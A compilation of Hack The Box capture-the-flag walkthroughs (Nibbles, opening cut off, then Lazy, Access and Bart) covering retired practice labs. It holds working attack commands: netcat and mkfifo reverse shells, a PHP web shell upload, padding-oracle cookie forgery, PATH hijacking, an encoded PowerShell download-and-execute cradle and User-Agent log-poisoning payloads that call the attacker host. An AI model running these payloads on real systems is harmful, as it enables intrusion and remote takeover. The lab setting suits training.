  1. Obtain Admin credentials (for example via Phishing via XSS which can be gained via CSRF, see advisory about CSRF in NibbleBlog 4.0.3)
  2. Activate My image plugin by visiting http://localhost/nibbleblog/admin.php?controller=plugins&action=install&plugin=my_image
  3. Upload PHP shell, ignore warnings
  4. Visit http://localhost/nibbleblog/content/private/plugins/my_image/image.php. This is the default name of images uploaded via the plugin.

Get shell:

1
2
3
4
5
6
locate webshell
cp /usr/share/webshells/php/php-reverse-shell.php .
#We edit the ip php-reverse-shell.php
nc -lvp 443
#We upload the .php using the plugin my image of nibbleblog

Now let’s finish the task by grabbing user.txt and root.txt file.

nibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ cd personal
cd personal
nibbler@Nibbles:/home/nibbler/personal$ ls
ls
stuff
nibbler@Nibbles:/home/nibbler/personal$ cd stuff
cd stuff
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -al
ls -al
total 12
drwxr-xr-x 2 nibbler nibbler 4096 Dec 10 2017 .
drwxr-xr-x 3 nibbler nibbler 4096 Dec 10 2017 ..
-rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo -l
sudo -l
sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo "mkfifo /tmp/flahty; nc 10.10.14.20 5555 0</tmp/flahty | /bin/sh >/tmp/flahty 2>&1; rm /tmp/flahty" > monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo -u root ./monitor.sh
sudo -u root ./monitor.sh

On other, we have a netcat listener, which has provided root access to us. Let’s finish this task and grab the root.txt file………………………………..

C:\Users\jacco>nc -lvp 5555
listening on [any] 5555 ...
10.10.10.75: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.75] 43462: NO_DATA

whoami
root
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@Nibbles:~# cd /root
cd /root
root@Nibbles:~# cat root.txt
cat root.txt
b6d*****88c

Author: Jacco Straathof

HTB – Lazy

Today we are going to solve a CTF Challenge “Lazy”. It is a lab that is developed by Hack the Box. They have an amazing collection of Online Labs, on which you can practice your penetration testing skills. They have labs which are designed for beginners to the Expert penetration testers. Lazy is a Retired Lab.

Level: Medium

Task: Find the user.txt and root.txt in the vulnerable Lab.

Let’s Begin!

As these labs are only available online, therefore, they have a static IP. Lazy Lab has IP: 10.10.10.18.

Now, as always let’s begin our hacking with the port enumeration.

c:\Users\jacco>nmap -sC -sV 10.10.10.18
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-09 19:43 W. Europe Standard Time
Nmap scan report for 10.10.10.18
Host is up (0.028s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 e1:92:1b:48:f8:9b:63:96:d4:e5:7a:40:5f:a4:c8:33 (DSA)
| 2048 af:a0:0f:26:cd:1a:b5:1f:a7:ec:40:94:ef:3c:81:5f (RSA)
| 256 11:a3:2f:25:73:67:af:70:18:56:fe:a2:e3:54:81:e8 (ECDSA)
|_ 256 96:81:9c:f4:b7:bc:1a:73:05:ea:ba:41:35:a4:66:b7 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: CompanyDev
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.15 seconds

The Port 80 is open so let’s open IP in our browser to see that if a website is hosted on the IP. After opening the IP in the browser, we were greeted by a simple page with Register and Login Links. Clicking on the Register opens up a form.

Then I decided to register as admin: 123 for username and password respectively.

But I got an alert “Duplicate entry ‘admin’ for key PRIMARY”, also received error “can’t create the user: user exists” when I registered as admin. Hence username “admin” is already registered

At last, I decided to use the burp suite for capturing browser request. Here I simply register with puck as username and password iestyle

And got intercepted request, here I saw auth cookie. Then I send the intercept request to the repeater for analyses its response. It gave a hint “invalid padding” which means there could be padding oracle vulnerability. To know more about what is padding oracle vulnerability read our previous article from here. Since I had already faced such a situation in my past experience, therefore, I know what to do next.

Next, open the terminal to run the command shown in the given image which contains target URL and above-copied auth cookie Last part of screenshot has captured three decrypt values in base64, HEX, and ASCII. The cookie of auth is a combination of username with its password from padbuster we came to know what is the encrypted value of username for admin. We are very near to our goal just encrypt this auth cookie with the user as admin once again. Here we have our plaintext as admin and let’s encode it using padbuster.

root@kali:~/htb/lazy# padbuster http://10.10.10.18 gtS9RNEjsR5q8y2qUe%2Br7xplcH4mHld8 8 -cookies auth=gtS9RNEjsR5q8y2qUe%2Br7xplcH4mHld8 -encoding 0

+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 978

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 1133 N/A
2 ** 255 200 15 N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (132/256) [Byte 8]
[+] Success: (58/256) [Byte 7]
[+] Success: (176/256) [Byte 6]
[+] Success: (24/256) [Byte 5]
[+] Success: (205/256) [Byte 4]
[+] Success: (34/256) [Byte 3]
[+] Success: (96/256) [Byte 2]
[+] Success: (1/256) [Byte 1]

Block 1 Results:
[+] Cipher Text (HEX): 6af32daa51efabef
[+] Intermediate Bytes (HEX): f7a7d836ec53c47d
[+] Plain Text: user=puc

Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.
*** Starting Block 2 of 2 ***

[+] Success: (23/256) [Byte 8]
[+] Success: (82/256) [Byte 7]
[+] Success: (21/256) [Byte 6]
[+] Success: (174/256) [Byte 5]
[+] Success: (88/256) [Byte 4]
[+] Success: (212/256) [Byte 3]
[+] Success: (13/256) [Byte 2]
[+] Success: (247/256) [Byte 1]

Block 2 Results:
[+] Cipher Text (HEX): 1a65707e261e577c
[+] Intermediate Bytes (HEX): 01f42aad56e8ace8
[+] Plain Text: k

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): user=puck

[+] Decrypted value (HEX): 757365723D7075636B07070707070707

[+] Decrypted value (Base64): dXNlcj1wdWNrBwcHBwcHBw==

-------------------------------------------------------

root@kali:~/htb/lazy# padbuster http://10.10.10.18 gtS9RNEjsR5q8y2qUe%2Br7xplcH4mHld8 8 -cookies auth=gtS9RNEjsR5q8y2qUe%2Br7xplcH4mHld8 -encoding 0 -plaintext user=admin

+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 978

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 1133 N/A
2 ** 255 200 15 N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (196/256) [Byte 8]
[+] Success: (148/256) [Byte 7]
[+] Success: (92/256) [Byte 6]
[+] Success: (41/256) [Byte 5]
[+] Success: (218/256) [Byte 4]
[+] Success: (136/256) [Byte 3]
[+] Success: (150/256) [Byte 2]
[+] Success: (190/256) [Byte 1]

Block 2 Results:
[+] New Cipher Text (HEX): 23037825d5a1683b
[+] Intermediate Bytes (HEX): 4a6d7e23d3a76e3d

[+] Success: (1/256) [Byte 8]
[+] Success: (36/256) [Byte 7]
[+] Success: (180/256) [Byte 6]
[+] Success: (17/256) [Byte 5]
[+] Success: (146/256) [Byte 4]
[+] Success: (50/256) [Byte 3]
[+] Success: (132/256) [Byte 2]
[+] Success: (135/256) [Byte 1]

Block 1 Results:
[+] New Cipher Text (HEX): 0408ad19d62eba93
[+] Intermediate Bytes (HEX): 717bc86beb4fdefe

-------------------------------------------------------
** Finished ***

[+] Encrypted value is: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
-------------------------------------------------------

root@kali:~/htb/lazy#

Now replace the original auth cookie from the encrypted value which you have copied above and forwarded the intercepted request.

When request sent by burp suite, automatically on the web server you will get logged in as an admin account. After that when you will access the admin page you will get a URL “my key” that offers us with a username mitsos and an ssh key.

So as you can observe that we had opened the ssh key let’s save it into a text file as “key” on the desktop and if you notice the URL can read ssh login username mitsos.

First, let’s download the key and then give appropriate permission. Now that we have the ssh username and key let’s get an ssh session.

PS C:\PENTEST\htb\LAZY> ssh -i key mitsos@10.10.10.18
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

* Documentation: https://help.ubuntu.com/

System information as of Sat Mar 9 20:39:46 EET 2019

System load: 0.0 Processes: 174
Usage of /: 7.7% of 18.58GB Users logged in: 0
Memory usage: 11% IP address for eth0: 10.10.10.18
Swap usage: 0%

Graph this data and manage this system at:
https://landscape.canonical.com/

Last login: Sat Mar 9 20:39:47 2019 from 10.10.14.20
mitsos@LazyClown:~$ ls
backup peda user.txt
mitsos@LazyClown:~$ cat user.txt
d55*****3fc

As we saw  above that we have the peda and backup folder too. On running the executable backup we saw that it prints the shadow file with user hashes. So we ran the strings command and found that it does contain command “cat /etc/shadow

mitsos@LazyClown:~$ strings backup
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
cat /etc/shadow
;*2$"
GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
.symtab
.strtab

Now, all we need to do was to create a personalized executable cat file, which can be done as shown in the below image. Here we are reprogramming cat to give us the shell, on execution.

mitsos@LazyClown:~$ ls -la
total 64
drwxr-xr-x 5 mitsos mitsos 4096 May 3 2017 .
drwxr-xr-x 3 root root 4096 May 2 2017 ..
-rwsrwsr-x 1 root root 7303 May 3 2017 backup
-rw------- 1 mitsos mitsos 224 May 3 2017 .bash_history
-rw-r--r-- 1 root root 1 May 3 2017 .bash.history
-rw-r--r-- 1 mitsos mitsos 220 May 2 2017 .bash_logout
-rw-r--r-- 1 mitsos mitsos 3637 May 2 2017 .bashrc
drwx------ 2 mitsos mitsos 4096 May 2 2017 .cache
-rw------- 1 mitsos mitsos 2524 May 2 2017 .gdb_history
-rw-rw-r-- 1 mitsos mitsos 22 May 2 2017 .gdbinit
-rw------- 1 root root 46 May 2 2017 .nano_history
drwxrwxr-x 4 mitsos mitsos 4096 May 2 2017 peda
-rw-r--r-- 1 mitsos mitsos 675 May 2 2017 .profile
drwxrwxr-x 2 mitsos mitsos 4096 May 2 2017 .ssh
-r--r--r-- 1 mitsos mitsos 33 Jan 18 2018 user.txt
mitsos@LazyClown:~$ export PATH=.:$PATH
mitsos@LazyClown:~$ echo "/bin/sh" > cat
mitsos@LazyClown:~$ chmod 777 cat
mitsos@LazyClown:~$ ./backup
# whoami
root
# cd /
# ls
root.txt
# less root.txt
990*****515

Author: Jacco Straathof

HTB – Access

Today we are going to solve another CTF challenge “Access”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Easy

Task: To find user.txt and root.txt file

Note: Since these labs are online available therefore they have a static IP. The IP of Access is 10.10.10.98.

As always we will start with nmap to scan for open ports and services :

root@kali:~/htb/access# nmap -sC -sV -oA nmap 10.10.10.98
# Nmap 7.70 scan initiated Thu Feb 28 11:52:45 2019 as: nmap -sC -sV -oA nmap 10.10.10.98
Nmap scan report for 10.10.10.98
Host is up (0.026s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst: 
|_ SYST: Windows_NT
23/tcp open telnet?
80/tcp open http Microsoft IIS httpd 7.5
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 28 11:55:58 2019 -- 1 IP address (1 host up) scanned in 193.18 seconds

Nmap tells us that there’s ftp running on port 21 , telnet on port 23 and http on port 80. It also tells us that we can login anonymously to ftp. Let’s look at http first.


HTTP Enumeration

We get this page titled as “MegaCorp” and it only has this image :

Sub directories enumeration with gobuster and common.txt(/usr/share/wordlists/dirb/common.txt in kali) only gave us 2 pages , /aspnet_clientand /index.html

/aspnet_client gave us 403 Forbidden :

And /index.html is of course the main page we saw earlier :

So now we know that http has nothing , Next thing to check is ftp


FTP Enumeration

Nmap told us earlier that anonymous login on ftp was allowed , After we login we find 2 directories Backups and Engineer

In Backups there is only one file called backup.mdb , we will type binary to set the transfer mode to binary , so we won’t get a corrupted file. Then get backup.mdb to download it :

And in Engineer there’s a file called Access Control.zip :


Extracting credentials from backup.mdb and getting User

backup.mdb is a Microsoft Access Database , we can check using file :

We need mdbtools to deal with this database , it can be installed with apt

apt-get install mdbtools

We will use mdb-tables to get the table names :

There’s an interesting table named auth_user , We will use mdb-export to get the contents of that table :

mdb-export backup.mdb auth_user 

And it gave us some credentials :

admin : admin

engineer : access4u@security

backup_admin : admin

By looking at the other zip file we will find a file called Access Control.pst and it’s a password protected file.

We already have 2 passwords : admin and access4u@securityaccess4u@security is the right password.

Access Control.pst is a Microsoft Outlook email folder :

We can use a tool called readpst to be able to read the file :

readpst Access\ Control.pst 

It will create another file called Access Control.mbox , Let’s cat that file :

The very first thing we see is this email which has credentials for an account called security , password : 4Cc3ssC0ntr0ller

Let’s telnet into the box with those credentials :

root@kali:~/htb/access# telnet 10.10.10.98
Trying 10.10.10.98...
Connected to 10.10.10.98.
Escape character is '^]'.
Welcome to Microsoft Telnet Service

login: security 
password:4Cc3ssC0ntr0ller

*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>cd desktop

C:\Users\security\Desktop>type user.txt
ff1*****d38
C:\Users\security\Desktop>

Runas and Privilege Escalation

As always we will start enumerating the file system , There are only 3 users on the box Administrator , Public and security.

We are in as security and we can’t go into Administrator’s directory so let’s check Public.

In the Desktop of Public there’s a lnk called ZKAccess3.5 Security System.

Let’s type it and see what’s inside it :

Of course not the best output , because it’s a lnk file not a txt file , but we can read some stuff , and we notice that there’s a runas command being excuted as administrator. runas allows us to run commands as another user and the option /savecred allows us to use the command without asking for password. Looking into Public’s desktop is not necessary to know that, we can check by executing net user administrator

Password required is set to No , If this was set to Yes we wouldn’t be able to use runas as administrator without knowing the password , However that lnk file on Public’s desktop was a nice hint.

Now we can run a simple HTTP server on our box with python

c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.98 - - [28/Feb/2019 19:38:58] "GET /puckieshell443.ps1 HTTP/1.1" 200 -
c:\Users\Public>certutil -urlcache -split -f http://10.10.14.20/puckieshell443.ps1
c:\Users\Public>runas /user:administrator /savecred "powershell -ExecutionPolicy ByPass -File C:\Users\Public\puckieshell443.ps1"
C:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
10.10.10.xx: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.98] 49167: NO_DATA
Windows PowerShell running as user Administrator on HTB
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
HTB\administrator
PS C:\Windows\system32> cd C:\users\Administrator\Desktop
PS C:\users\Administrator\Desktop> type root.txt
6e1*****4cf

root@kali:~/htb/access# echo -n "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.20/puckieshell53.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAwAC8AcAB1AGMAawBpAGUAcwBoAGUAbABsADUAMwAuAHAAcwAxACcAKQA=
c:\Users\Public> runas /user:ACCESS\administrator /savecred "powershell -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAwAC8AcAB1AGMAawBpAGUAcwBoAGUAbABsADUAMwAuAHAAcwAxACcAKQA="

Author : Jacco Straathof

refence used : https://0xrick.github.io/hack-the-box/access/

HTB – Bart

Today we are going to solve another CTF challenge “Bart” which is available online for those who want to increase their skill in penetration testing and black box testing. Bart is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Expert

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.81 so let’s begin with nmap port enumeration.

C:\Users\jacco>nmap -sV -sC 10.10.10.81
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-04 20:24 W. Europe Standard Time
Nmap scan report for bart.htb (10.10.10.81)
Host is up (0.031s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.85 seconds

Enumeration Port 80 (forum.bart.htb (wordpress))

From our nmap scan we can that we are being redirected automatically to forum.bart.htb. Since htb doesn’t have global dns, we aren’t going to be able to resolve the site. We can add a dns entry in our /etc/hosts file to point 10.10.10.81 to both bart.htb and forum.bart.htb.

Visiting forum.bart.htb in a browser brings us to a WordPress site.

"Homepage of forum.bart.htb"

Attempting to access the WordPress login page ends up with an error: "The page cannot be displayed because an internal server error has occurred." This is strange because there’s not much else going on with the site. Likely is might be some sort of rabbit hole.

Running gobuster on forum.bart.htb doesn't reveal anything extremely interesting. Thinking that maybe there is some hidden content with the site, we mirror the site with wget, and search for interesting content like emails, extra domain names, or hidden pages.

We were able to discover a few potential emails/usernames but nothing that stood out blindly. We did notice that the bart developer Harvey Potter h.potter@bart.htb is the only member of the team not displayed on the main site, but who’s information is stored in a comment on the page.

mirroring site locally

root@kali:~/htb/bart/bart_wpsite# wget -r http://forum.bart.htb
root@kali:~/htb/bart/bart_wpsite# grep -RiP "bart" forum.bart.htb/
forum.bart.htb/index.html:<title>BART</title>
forum.bart.htb/index.html:<link rel='stylesheet' id='sydney-ie9-css'  href='http://forum.bart.htb/wp-content/themes/sydney/css/ie9.css?ver=4.8.2' type='text/css' media='all' />
forum.bart.htb/index.html:                                                      <h1 class="site-title"><a href="#" rel="home">BART</a></h1>
forum.bart.htb/index.html:                                                                                                                                                              <div class="pos">CEO@BART</div>
forum.bart.htb/index.html:                                                                                                                                                                      <li><a class="mail" href="mailto:s.brown@bart.local" target="_blank"><i class="fa">M</i></a></li>
forum.bart.htb/index.html:                                                                                                                                              <div class="pos">CEO@BART</div>
forum.bart.htb/index.html:                                                                                                                                                                      <li><a class="mail" href="mailto:d.simmons@bart.htb" target="_blank"><i class="fa">M</i></a></li>
forum.bart.htb/index.html:                                                                                                                                                                      <li><a class="mail" href="mailto:r.hilton@bart.htb" target="_blank"><i class="fa">M</i></a></li>
forum.bart.htb/index.html:                                                                                                                                                                              <div class="pos">Developer@BART</div>
forum.bart.htb/index.html:                                                                                                                                                                                      <li><a class="mail" href="mailto:h.potter@bart.htb" target="_blank"><i class="fa">M</i></a></li>
forum.bart.htb/index.html:                                                                                                                                                    
...[snip]...

better grep or extract email addresses

root@kali:~/htb/bart/bart_wpsite# grep -RiE -o "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b"
forum.bart.htb/index.html:s.brown@bart.local
forum.bart.htb/index.html:d.simmons@bart.htb
forum.bart.htb/index.html:r.hilton@bart.htb
forum.bart.htb/index.html:h.potter@bart.htb
forum.bart.htb/index.html:info@bart.htb
forum.bart.htb/index.html:info@bart.htb

Discovering Monitoring Portal with Wfuzz

We can use wfuzz as our directory brute forcer, and filter the results based on a character count baseline. As you can see below, the resulting error page wfuzz detects as having 158607 characters in the response. We can use this as our baseline and ignore all responses that have 158607 ch in them, which in turn would only show us pages that are different (unique content) with the --hh flag.

root@kali:~/htb/bart# wfuzz -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bart.htb/FUZZ/

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3.3 - The Web Fuzzer *
********************************************************

Target: http://bart.htb/FUZZ/
Total requests: 220560

==================================================================
ID Response Lines Word Chars Payload 
==================================================================

000001: C=302 0 L 0 W 0 Ch "# directory-list-2.3-medium.txt"
000004: C=302 0 L 0 W 0 Ch "#"
000010: C=302 0 L 0 W 0 Ch "#"
000006: C=302 0 L 0 W 0 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this"
000009: C=302 0 L 0 W 0 Ch "# Suite 300, San Francisco, California, 94105, USA."
000005: C=302 0 L 0 W 0 Ch "# This work is licensed under the Creative Commons"
000008: C=302 0 L 0 W 0 Ch "# or send a letter to Creative Commons, 171 Second Street,"
000007: C=302 0 L 0 W 0 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000002: C=302 0 L 0 W 0 Ch "#"
000011: C=302 0 L 0 W 0 Ch "# Priority ordered case sensative list, where entries were found"
000012: C=302 0 L 0 W 0 Ch "# on atleast 2 different hosts"
000013: C=302 0 L 0 W 0 Ch "#"
000014: C=302 0 L 0 W 0 Ch ""
000003: C=302 0 L 0 W 0 Ch "# Copyright 2007 James Fisher"
000019: C=200 630 L 5628 W 150693 Ch "news"
000024: C=200 630 L 5628 W 150693 Ch "12"
000015: C=200 630 L 5628 W 150693 Ch "index"
000022: C=200 630 L 5628 W 150693 Ch "warez"
000016: C=200 630 L 5628 W 150693 Ch "images"
000017: C=200 630 L 5628 W 150693 Ch "download"
000018: C=200 630 L 5628 W 150693 Ch "2006"
000020: C=200 630 L 5628 W 150693 Ch "crack"
000030: C=200 630 L 5628 W 150693 Ch "11"

Using Wfuzz to hide the error page responses

root@kali:~/htb/bart# wfuzz -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bart.htb/FUZZ/ --hh 150693

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3.3 - The Web Fuzzer *
********************************************************

Target: http://bart.htb/FUZZ/
Total requests: 220560

==================================================================
ID Response Lines Word Chars Payload 
==================================================================

000007: C=302 0 L 0 W 0 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000001: C=302 0 L 0 W 0 Ch "# directory-list-2.3-medium.txt"
000002: C=302 0 L 0 W 0 Ch "#"
000003: C=302 0 L 0 W 0 Ch "# Copyright 2007 James Fisher"
000004: C=302 0 L 0 W 0 Ch "#"
000005: C=302 0 L 0 W 0 Ch "# This work is licensed under the Creative Commons"
000006: C=302 0 L 0 W 0 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this"
000008: C=302 0 L 0 W 0 Ch "# or send a letter to Creative Commons, 171 Second Street,"
000009: C=302 0 L 0 W 0 Ch "# Suite 300, San Francisco, California, 94105, USA."
000010: C=302 0 L 0 W 0 Ch "#"
000011: C=302 0 L 0 W 0 Ch "# Priority ordered case sensative list, where entries were found"
000013: C=302 0 L 0 W 0 Ch "#"
000012: C=302 0 L 0 W 0 Ch "# on atleast 2 different hosts"
000014: C=302 0 L 0 W 0 Ch ""
000067: C=200 548 L 2412 W 35529 Ch "forum"
001614: C=200 80 L 221 W 3423 Ch "monitor"
002385: C=200 548 L 2412 W 35529 Ch "Forum"
002869: C=200 630 L 5628 W 150693 Ch "1441"^C
Finishing pending requests...

From our results we can see that there’s content being served from the “forum” and “monitor” directories with the forum being forum.bart.htb

monitor.bart.htb

Visting monitor.bart.htb in our browser reveals the application “PHP Server Monitor v3.2.1”.

"Monitoring Application"

After trying the usual hack the box username:password combinations with no luck we begin looking for another avenue to get into this application. PHP monitor has a password reset function, which only takes a username. When you attempt to do a password reset on a user that doesn’t exist you get the following error.

"Forgot my password -- fail"

With this knowledge we can attempt to enumerate usernames in a targeted manner using the information gathered from forum.bart.htb.

I compiled a short list of possible user names from the site:

potential usernames compiled from forum.bart.htb

root@kali:~/htb/bart# cat names.txt
s.brown@bart.local
d.simmons@bart.htb
r.hilton@bart.htb
h.potter@bart.htb
info@bart.htb
s.brown
d.simmons
r.hilton
h.potter
info
samantha
brown
daniel
simmons
robert
hilton
harvey
potter

We can use burpsuite intruder coupled with the simple list payload to perform this attack.

"Burpsuite Simple List Payload"

This is how we can set up burpsuite intruder to perform our attack.

"Setting up burp suite intruder"

"Intruder Results"

From the results of our intruder attack we see that we have two valid usernames harvey and daniel.

After some educated guessing you will discover a valid username:password combination of harvey:potter.

When you attempt to authenticate you are redirected to monitor.bart.htb which fails to resolve similar to forums. We add monitor.bart.htb to our /etc/hosts file and attempt to reauthenticate with our newly found credentials.

After we re-authenticate we are greeted with the following page.

"Authenting to Server Monitor"

Browsing around you see there is an entry for the “Internal Chat” service

Viewing the details of “Internal Chat” reveals that there is another application on a different domain “internal-01.bart.htb”

"Discovering internal-01.bart.htb"

Exploitation

Simple Chat Source Code Discovery & Account Registration

Visting internal-01.bart.htb in our browser reveals the login page of bart’s internal “dev chat”.

"Dev chat internal login page"

while running gobuster & sqlmap in the background if you did some googling on “simple chat” you will discover the following github repo https://github.com/magkopian/php-ajax-simple-chat. To validate that these two applications are the same, I inspected the css/chat_global.css file and sure enough it was the same application. Looking at the application’s code we see that’s there is registration functionality. The application doesn’t directly give you an option to register for an account, but it seems shoddily built so likely we can try manually crafting the request to register the account and hope nothing changed (we know the location and the parameters required to register an account from auditing the register.php source code).

Sure enough, we are able to register an account with a username:password of puck:puckiestyle on the internal dev chat by crafting our request just right.

We’ll use curl to create an account and get access to the site:

C:\Users\jacco>curl -X POST http://internal-01.bart.htb/simple_chat/register.php -d "uname=puckie&passwd=puckiestyle"

And we are in:

"Authenticating to Internal Chat"

Getting RCE through LFI & Log Poisoning

Clicking the log link will cause two alerts to appear that seemly do nothing. Inspecting the original application code, there are no references to a “log” functionality so this must be a 3rd party modification. After some fiddling & inspecting the request history in burp suite, you will see that the application will record the username & your user-agent in a log file as seen below.

"Logged useragent"

Since we can control what our user agent is we can use this to execute php code by visiting the log file page.

GET /log/log.php?username=harvey&filename=log.php HTTP/1.1
Host: internal-01.bart.htb
User-Agent: <?php echo exec("powershell -command \"(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.20/nc.exe','nc.exe')\""); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=7iolgpinpbgb51oo15qjntsm2k
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

"Code Execution Sucesss

To speed this up I recommend having 2-3 repeater tabs open. One to input commands into, and one to visit the page to trigger the execution.

We upload & execute a 64-bit netcat binary onto the machine (important for later) so we can get an interactive shell.

I injected the following code into the user agent field. Make sure you remember to escape the \.

<?php echo exec("powershell -command \"(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.20/nc64.exe','nc64.exe')\""); ?>
<?php exec("nc64.exe 10.10.14.20 443 -e cmd.exe"); ?>

getting shell

C:\Users\jacco>nc64.exe -lvp 443
listening on [any] 443 ...
connect to [10.10.14.20] from bart.htb [10.10.10.81] 50207
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\inetpub\wwwroot\internal-01\log>powershell
powershell
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

Cannot load PSReadline module.  Console is running without PSReadline.
PS C:\inetpub\wwwroot\internal-01\log> [System.Environment]::Is64BitOperatingSystem
[System.Environment]::Is64BitOperatingSystem
True
